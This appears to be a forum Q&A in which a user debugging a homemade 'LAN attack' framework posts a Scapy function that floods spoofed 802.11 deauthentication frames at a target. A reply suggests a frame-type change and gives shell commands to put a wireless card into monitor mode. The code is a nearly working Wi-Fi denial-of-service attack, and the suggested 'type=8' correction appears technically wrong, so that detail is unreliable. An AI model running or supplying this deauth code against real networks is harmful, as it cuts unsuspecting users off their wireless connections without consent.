1

Hi I'm coming towards you cause I'm currently coding a framework for LAN attack to understand better how it works, and I want to add a deauth attack. Here is the code of the function, but it doesn't work and I do not understand what is wrong.

def disconnect(self):
    target_mac = self.t_mac
    gw_mac = self.gw_mac # gateway mac address
    dot11 = Dot11(type=0, addr1=target_mac, addr2=gw_mac, addr3=gw_mac)
    pkt = RadioTap()/dot11/Dot11Deauth(reason=7)
    scapy.sendp(pkt, inter=0.1, count=1000, verbose=0)

I am on Windows 10, and analysis the exchange with wireshark. The packet seems really weird on wireshark. Hope you can give me some information to help. Thanks in advance guys ;) Packet Wireshark Dot11

guilhem rioux
  • 11
  • 1
  • 3
  • 1
    The question seems to be that "The packet seems really weird on wireshark." If you want help with this, please post a link to the packet capture in the text of your question (edit button is at the bottom). – Ross Jacobs Apr 11 '20 at 19:38

1 Answers1

1

A Dot11 packet with type 8 and subtype 12 is a Dot11Deauth packet. So, when you define dot11 try this:

dot11 = Dot11(type=8, subtype=12, addr1=target_mac, addr2=gw_mac, addr3=gw_mac)

Also, try to put your interface in monitor mode and make sure to use a wireless interface (like wlan0, wlan1 and not eth0 wich is ethernet). Run in shell this commands:

ifconfig <IFACE> down
iwconfig <IFACE> mode monitor
ifconfig <IFACE> up

where IFACE is the interface you want to use. Just run ifconfig to check wich one is available.

Gianla
  • 63
  • 8